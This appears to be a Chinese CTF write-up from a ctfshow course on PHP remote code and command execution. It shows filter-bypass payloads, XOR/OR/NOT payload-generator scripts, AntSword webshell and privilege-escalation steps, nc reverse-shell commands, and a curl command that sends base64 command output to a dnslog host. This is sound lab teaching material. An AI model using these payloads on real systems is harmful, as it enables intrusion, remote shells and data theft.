ctfshow私教课第三节 远程代码执行 Remote Code Exec Code指脚本语言(php)的代码 常见函数有
eval 这是字符串,表示将字符串按照php的代码执行
call_user_func
call_user_func_array等等
使用参考PHP7中文手册
命令执行和代码执行的区别 前者执行操作系统的命令 后者执行脚本语言的代码
函数调用的格式 函数返回值 函数名字(函数参数); $ret=system(“calc”);
ctfshow私教课web20 1 2 3 4 5 `<?php error_reporting (0 ); highlight_file (__FILE__ ); call_user_func ($_GET [1 ],$_POST [2 ]); ?>
经过php7中文手册查到 call_user_func — 把第一个参数作为回调函数调用,其余数据是回调函数的参数
eval是语言结构,不是函数,这里不能使用eval ?1=system 作为回调函数 2=cat /f1agaaa作为回调函数的参数 二者结合就可以拿到flag
ctfshow私教课web21 1 2 3 4 5 <?php error_reporting (0 ); highlight_file (__FILE__ ); array_walk_recursive ($_GET [1 ], $_POST [1 ]); ?>
查阅得到信息 array_walk_recursive — 对数组中的每个成员递归地应用用户函数
第一个输入一个数组,数组里写函数参数 第二个写要执行的回调函数
ctfshow私教课web22 1 2 3 4 5 6 7 `<?php error_reporting (0 ); highlight_file (__FILE__ ); $code = $_GET [1 ]; if (!preg_match ("/system|func|array|preg|eval|exec|passthru/i" ,$code )){ eval ($code ); } ?>
使用拼接法 ?1=$a=sys;$b=tem;$c=$a.$b;$c($_POST[1]);
然后运用POST传参 1=cat /f1agaaa 就可以拿到flag了
ctfshow私教课web23 1 2 3 4 5 6 7 <?php error_reporting (0 ); highlight_file (__FILE__ ); $code = $_GET [1 ]; if (!preg_match ("/\?|\;/" ,$code )){ eval ("?>" .$code ); } ?>
注意题目中有eval(“?>”.$code); 这代表php代码已经闭合,如果在后面直接写的话,都会以文本的形式体现 所以我们应该自己写一个php代码,但是题目中禁用了?和; 我们只能找其他能使用的 在php7中文手册中找到
结束
php又有一个性质是,在最后一行代码结尾的;可以省略,所以题目中没有使用; 最终转接拿到flag
ctfshow私教课web24(有反弹shell) 1 2 3 4 5 6 7 `<?php error_reporting (0 ); highlight_file (__FILE__ ); $code = $_GET [1 ]; if (strlen ($code )<=13 ){ eval ("?>" .$code ); } ?>
第一种方法:不使用转接直接执行命令
这里使用了短标签,也就是的话,最后一个;可以省略,如果没有的话,那么;不可以省略
再使用*代替f1agaaa拿到flag
第二种方法 使用反弹shell的方法
首先使用VS打开linux的远程服务器,监听3389的端口 nc -lvvnp 3389
这一段首先删除了和最后的;必须存在一个 这里使用了转接,用2进行 nc 服务器公网IP地址 3389 -e /bin/sh 注意-e后面有个空格 再点EXECUTE然后使用自己的远程服务器看到回显
执行系统命令,我们就可以拿到flag
ctfshow私教课web25(使用蚁剑) 1 2 3 4 5 6 7 `<?php error_reporting (0 ); highlight_file (__FILE__ ); $code = $_GET [1 ]; if (!preg_match ("/include|require|eval/i" ,$code )){ eval ($code ); } ?>
使用phpinfo()后,我们可以看到它还过滤了一些函数
这里禁用的使用拼接法也没办法绕过,我们可是使用蚁剑进行解题
这里我们使用转接然后使用蚁剑进行解题 题目中禁用了eval,但是我们可以尝试使用不同的解码器进行绕过,base64,chr等等都连接不上 这时候我们就要使用其他函数代替eval,这里使用assert,直接使用同样连接不上,但是在使用base64编码或者其他编码后发现可以连接
这里我们看不到flag是因为权限不够
我们可以使用蚁剑的虚拟终端,蚁剑能够自动帮帮我们绕过一些禁用,禁止查看,但是仍然会有权限不够的情况,我们可以利用蚁剑上的一些插件进行提权,然后查看flag,这道题不需要提权
ctfshow私教课web26(蚁剑+插件) 1 2 3 4 5 6 7 <?php error_reporting (0 ); highlight_file (__FILE__ ); $code = $_GET [1 ]; if (!preg_match ("/include|require|eval/i" ,$code )){ eval ($code ); } ?>
首先是和web25一样操作在蚁剑上添加数据 但是在虚拟终端查找时候,我们发现没有权限查看,我们需要进行提权
首先打开这个插件
使用第一个,进行提权
提权后,我们打开发现插件写入了一个.antproxy.php
我们重新连接蚁剑,注意需要改成图中样式
连接后,打开虚拟终端,进行简单的绕过,我们就能拿到flag
ctfshow私教课web27 题目做法同25.26类似,只是提权用的方式不同
1 2 3 4 5 6 7 <?php error_reporting (0 ); highlight_file (__FILE__ ); $code = $_GET [1 ]; if (!preg_match ("/include|require|eval/i" ,$code )){ eval ($code ); } ?>
这里使用和26.27相同的方法放到蚁剑里然后使用工具进行提权,拿到flag
ctfshow私教课web28 1 2 3 4 5 6 7 <?php error_reporting (0 ); highlight_file (__FILE__ ); $code = $_GET [1 ]; if (!preg_match ("/include|require|eval/i" ,$code )){ eval ($code ); } ?>
方法和web25.26.27相似,只是使用了另一个提权工具,连接蚁剑方法参考web26.27
ctfshow私教课web29(无字母数字rce,异或+或+取反) 1 2 3 4 5 6 7 <?php error_reporting (0 ); highlight_file (__FILE__ ); $code =$_GET ['code' ]; if (preg_match ('/[a-z0-9]/i' ,$code )){ die ('hacker' ); } eval ($code );
异或
这里可以使用异或绕过 有两个代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php $myfile = fopen ("xor_rce.txt" , "w" );$contents ="" ;for ($i =0 ; $i <256 ;$i ++) {for ($j =0 ; $j <256 ; $j ++) {if ($i <16 ){$hex_i ='0' .dechex ($i );} else {$hex_i =dechex ($i );} if ($j <16 ){$hex_j ='0' .dechex ($j );} else {$hex_j =dechex ($j );} $preg = '/[a-z0-9]/i' ; if (preg_match ($preg , hex2bin ($hex_i ))||preg_match ($preg , hex2bin ($hex_j ))){echo "" ;} else {$a ='%' .$hex_i ;$b ='%' .$hex_j ;$c =(urldecode ($a )^urldecode ($b ));if (ord ($c )>=32 &ord ($c )<=126 ) {$contents =$contents .$c ." " .$a ." " .$b ."\n" ;} } } } fwrite ($myfile ,$contents );fclose ($myfile );
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import urllibfrom sys import *import osdef action (arg ):s1="" s2="" for i in arg:f=open ("xor_rce.txt" ,"r" ) while True :t=f.readline() if t=="" :break if t[0 ]==i:s1+=t[2 :5 ] s2+=t[6 :9 ] break f.close() output="(\"" +s1+"\"^\"" +s2+"\")" return (output)while True :param=action(input ("\n[+] your function:" ) )+action(input ("[+] your command:" ))+";" print (param)
这是脚本的使用方法
使用异或绕过后,我们就能拿到flag
这里也可以使用或绕过,脚本使用与异或绕过类似,这里附上脚本,感兴趣的可以自己尝试
或 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php $myfile = fopen ("or_rce.txt" , "w" );$contents ="" ;for ($i =0 ;$i <256 ;$i ++) {for ($j =0 ; $j <256 ; $j ++) {if ($i <16 ){$hex_i ='0' .dechex ($i );} else {$hex_i =dechex ($i );} if ($j <16 ){$hex_j ='0' .dechex ($j );} else {$hex_j =dechex ($j );} $preg = '/[0-9a-z]/i' ;if (preg_match ($preg , hex2bin ($hex_i ))||preg_match ($preg , hex2bin ($hex_j ))){echo "" ;} else {$a ='%' .$hex_i ;$b ='%' .$hex_j ;$c =(urldecode ($a )|urldecode ($b ));if (ord ($c )>=32 &ord ($c )<=126 ) {$contents =$contents .$c ." " .$a ." " .$b ."\n" ;} } } } fwrite ($myfile ,$contents );fclose ($myfile );
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import requestsimport urllibfrom sys import *import osdef action (arg ):s1="" s2="" for i in arg:f=open ("or_rce.txt" ,"r" ) while True :t=f.readline() if t=="" :break if t[0 ]==i:s1+=t[2 :5 ] s2+=t[6 :9 ] break f.close() output="(\"" +s1+"\"|\"" +s2+"\")" return (output)while True :param=action(input ("\n[+] your function:" ) )+action(input ("[+] your command:" ))+";" print (param)
取反
这里也可以使用取反绕过 代码奉上
1 2 3 4 5 6 7 <?php $a =urlencode (~'system' );echo '(' ;echo '~' ;echo $a ;echo ')' ;?>
使用方法是将system改成你需要的指令,第一个是调动函数,第二个是调动函数的函数参数 点击ctrl+s保存后 打开本地的php环境,就能看到经过取反后的指令 进行拼接后,记得在最后加个分号 下面是使用教程
首先输入函数名称
去本地php环境中查看
将函数名称改为函数参数
再去本地php环境中看
最后进行拼接,注意在最后面写上;
拿到 flag ,例题仍为ctfshow私教课web29
这里的取反绕过可以直接看控制台,不用这么麻烦
ctfshow私教课web14 1 2 3 4 5 6 7 <?php error_reporting (0 ); highlight_file (__FILE__ ); $cmd =$_GET ['cmd' ]; if (!preg_match ("/flag/i" ,$cmd )){ shell_exec ($cmd ); } ?>
首先php7中文手册查询shell_exec的作用 shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。无回显
/?cmd=cat fla?.php>2.txt 再访问2.txt就可以得到结果
使用cp的格式
使用> 例如 /?cmd=cat /flag.php>1.txt 这里需要使用指令,使用cat等
直接cp 例如/?cmd=cp flag.php 1.txt 这里只需要知道目标的名字就行了
ctfshow私教课web15(反弹shell) 1 2 3 4 5 6 7 <?php error_reporting (0 ); highlight_file (__FILE__ ); $cmd =$_GET ['cmd' ]; if (!preg_match ("/flag/i" ,$cmd )){ shell_exec ($cmd ); } ?>
虽然题目和web14相同,但是没办法使用mv和cp了,我们可以考虑使用反弹shell
先监听,然后再反弹shell
最终如第一张图,输入简单指令拿到flag
ctfshow私教课web16(高级信道) 1 2 3 4 5 6 7 <?php error_reporting (0 ); highlight_file (__FILE__ ); $cmd =$_GET ['cmd' ]; if (!preg_match ("/flag|dnslog/i" ,$cmd )){ shell_exec ($cmd ); } ?>
首先打开网址,复制url
然后回到题目,开始构造
横线处为复制的url但是前面需要加上 curl http://然后后面进行传参?1=ls .|base64
,这是我们要执行的命令
这里的ls .查看的是本目录的东西,需要在ls后面加点,经过base64编码
再打开网址,找GET命令 这一段经过base编码后的字符串就是我们查询的结果,经过解码后就能看到
我们再重复操作,就能拿到flag
当然这道题使用反弹shell也可以拿到flag,感兴趣的可以自行尝试
反弹shell的指令可以通过一个网址拿到,就不需要记了 http://your-shell.com 访问后可以看到
复制过去,然后将your ip的地方改成自己的ip,将端口改成自己监听的端口 后续操作和普通的反弹shell相同,不再一一赘述
ctf之路很长,我们要慢慢走。 2025.1.14